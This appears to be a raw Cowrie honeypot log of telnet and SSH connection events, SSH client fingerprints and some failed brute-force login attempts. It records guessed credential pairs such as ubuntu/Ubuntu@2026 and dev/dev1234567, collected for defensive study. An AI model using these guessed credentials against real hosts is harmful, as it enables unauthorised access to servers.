{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46284,"dst_ip":"159.203.135.109","dst_port":23,"session":"50288b05c436","protocol":"telnet","message":"New connection: 161.97.105.174:46284 (159.203.135.109:23) [session: 50288b05c436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:08.791226Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"0adfad9c3cc2","protocol":"telnet","message":"New connection: 161.97.105.174:46286 (159.203.135.109:23) [session: 0adfad9c3cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:15.152120Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46294,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc25dba04b5e","protocol":"telnet","message":"New connection: 161.97.105.174:46294 (159.203.135.109:23) [session: dc25dba04b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:16.834009Z"}
{"eventid":"cowrie.session.closed","duration":35.329750061035156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:19.077597Z","src_ip":"161.97.105.174","session":"27d4fe1ae156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35706,"dst_ip":"159.203.135.109","dst_port":23,"session":"d45f04877036","protocol":"telnet","message":"New connection: 161.97.105.174:35706 (159.203.135.109:23) [session: d45f04877036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:19.523986Z"}
{"eventid":"cowrie.session.closed","duration":34.36255645751953,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:19.638584Z","src_ip":"161.97.105.174","session":"e9fe8b3cdded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.18678545951843,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:23.871037Z","src_ip":"161.97.105.174","session":"25cdbf6e403e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.044214725494385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:26.455812Z","src_ip":"161.97.105.174","session":"37a92f89e1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65018343925476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:29.401386Z","src_ip":"161.97.105.174","session":"34714fa91de0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59102,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8566b201a81","protocol":"telnet","message":"New connection: 161.97.105.174:59102 (159.203.135.109:23) [session: c8566b201a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:30.747965Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33528,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcd5d46aefcb","protocol":"ssh","message":"New connection: 202.125.94.71:33528 (10.17.0.5:22) [session: bcd5d46aefcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:31.413179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:31.417751Z","src_ip":"202.125.94.71","session":"bcd5d46aefcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:31.677177Z","src_ip":"202.125.94.71","session":"bcd5d46aefcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2026","message":"login attempt [ubuntu/Ubuntu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:32.747023Z","src_ip":"202.125.94.71","session":"bcd5d46aefcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:34.009026Z","src_ip":"202.125.94.71","session":"bcd5d46aefcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41260,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c5fb51304d","protocol":"telnet","message":"New connection: 174.138.46.234:41260 (159.203.135.109:23) [session: 08c5fb51304d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:35.990306Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59110,"dst_ip":"159.203.135.109","dst_port":23,"session":"350d99bb76df","protocol":"telnet","message":"New connection: 161.97.105.174:59110 (159.203.135.109:23) [session: 350d99bb76df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:37.098057Z"}
{"eventid":"cowrie.session.closed","duration":32.08218955993652,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:37.634454Z","src_ip":"161.97.105.174","session":"011f602e5fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8fa1d2b4fb1","protocol":"telnet","message":"New connection: 161.97.105.174:59116 (159.203.135.109:23) [session: e8fa1d2b4fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:37.652898Z"}
{"eventid":"cowrie.session.closed","duration":32.66222834587097,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:37.796852Z","src_ip":"161.97.105.174","session":"529b276f478c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b86bcdd1ce","protocol":"telnet","message":"New connection: 161.97.105.174:58384 (159.203.135.109:23) [session: a2b86bcdd1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:38.806146Z"}
{"eventid":"cowrie.session.closed","duration":32.91093993186951,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:39.791577Z","src_ip":"161.97.105.174","session":"8c841408cd96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58392,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e55c1a457a","protocol":"telnet","message":"New connection: 161.97.105.174:58392 (159.203.135.109:23) [session: a6e55c1a457a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:39.953443Z"}
{"eventid":"cowrie.session.closed","duration":32.767006158828735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:41.558128Z","src_ip":"161.97.105.174","session":"50288b05c436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.065743207931519,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:44.055946Z","src_ip":"174.138.46.234","session":"08c5fb51304d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.587883949279785,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:44.316815Z","src_ip":"161.97.105.174","session":"bba19abcbd56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":39690,"dst_ip":"10.17.0.5","dst_port":22,"session":"63d0aa36b321","protocol":"ssh","message":"New connection: 154.219.100.220:39690 (10.17.0.5:22) [session: 63d0aa36b321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:47.459744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:47.463366Z","src_ip":"154.219.100.220","session":"63d0aa36b321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:47.664949Z","src_ip":"154.219.100.220","session":"63d0aa36b321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58394,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cf2cce7f278","protocol":"telnet","message":"New connection: 161.97.105.174:58394 (159.203.135.109:23) [session: 2cf2cce7f278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:47.786834Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2026","message":"login attempt [ubuntu/Ubuntu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:48.496403Z","src_ip":"154.219.100.220","session":"63d0aa36b321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.958674907684326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:49.110619Z","src_ip":"161.97.105.174","session":"0adfad9c3cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71348810195923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:49.547397Z","src_ip":"161.97.105.174","session":"dc25dba04b5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:49.699857Z","src_ip":"154.219.100.220","session":"63d0aa36b321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.866742849349976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:50.390566Z","src_ip":"161.97.105.174","session":"d45f04877036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":37564,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0e003398fc","protocol":"ssh","message":"New connection: 152.32.130.174:37564 (10.17.0.5:22) [session: fe0e003398fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:52.173132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:52.176654Z","src_ip":"152.32.130.174","session":"fe0e003398fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:52.397569Z","src_ip":"152.32.130.174","session":"fe0e003398fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"12345","message":"login attempt [cloud-user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:53.314084Z","src_ip":"152.32.130.174","session":"fe0e003398fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:54.538165Z","src_ip":"152.32.130.174","session":"fe0e003398fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":46669,"dst_ip":"159.203.135.109","dst_port":22,"session":"052e1d0f8b56","protocol":"ssh","message":"New connection: 220.247.224.226:46669 (159.203.135.109:22) [session: 052e1d0f8b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:55.705090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:55.711498Z","src_ip":"220.247.224.226","session":"052e1d0f8b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:55.942282Z","src_ip":"220.247.224.226","session":"052e1d0f8b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev1234567","message":"login attempt [dev/dev1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:56.894849Z","src_ip":"220.247.224.226","session":"052e1d0f8b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45712,"dst_ip":"159.203.135.109","dst_port":23,"session":"e15a9a1d5f41","protocol":"telnet","message":"New connection: 161.97.105.174:45712 (159.203.135.109:23) [session: e15a9a1d5f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:57.296800Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:58.136953Z","src_ip":"220.247.224.226","session":"052e1d0f8b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32826,"dst_ip":"159.203.135.109","dst_port":23,"session":"1add92dc3f88","protocol":"telnet","message":"New connection: 161.97.105.174:32826 (159.203.135.109:23) [session: 1add92dc3f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:00.681557Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32842,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bd2736976b","protocol":"telnet","message":"New connection: 161.97.105.174:32842 (159.203.135.109:23) [session: 90bd2736976b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:01.450098Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32846,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c0fab0fd767","protocol":"telnet","message":"New connection: 161.97.105.174:32846 (159.203.135.109:23) [session: 0c0fab0fd767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:02.477916Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e5a41b6b64","protocol":"telnet","message":"New connection: 161.97.105.174:32860 (159.203.135.109:23) [session: c8e5a41b6b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:02.775745Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32870,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43e8d54cdd6","protocol":"telnet","message":"New connection: 161.97.105.174:32870 (159.203.135.109:23) [session: e43e8d54cdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:04.062486Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3eb7ec13176","protocol":"telnet","message":"New connection: 161.97.105.174:32874 (159.203.135.109:23) [session: a3eb7ec13176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:05.599293Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":32888,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffeeef4af995","protocol":"telnet","message":"New connection: 161.97.105.174:32888 (159.203.135.109:23) [session: ffeeef4af995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:06.322716Z"}
{"eventid":"cowrie.session.closed","duration":37.60464382171631,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:08.352524Z","src_ip":"161.97.105.174","session":"c8566b201a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25980,"dst_ip":"159.203.135.109","dst_port":22,"session":"a69673b4bff6","protocol":"ssh","message":"New connection: 194.59.206.2:25980 (159.203.135.109:22) [session: a69673b4bff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.172758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.243907Z","src_ip":"194.59.206.2","session":"a69673b4bff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.282103Z","src_ip":"194.59.206.2","session":"a69673b4bff6","protocol":"ssh"}
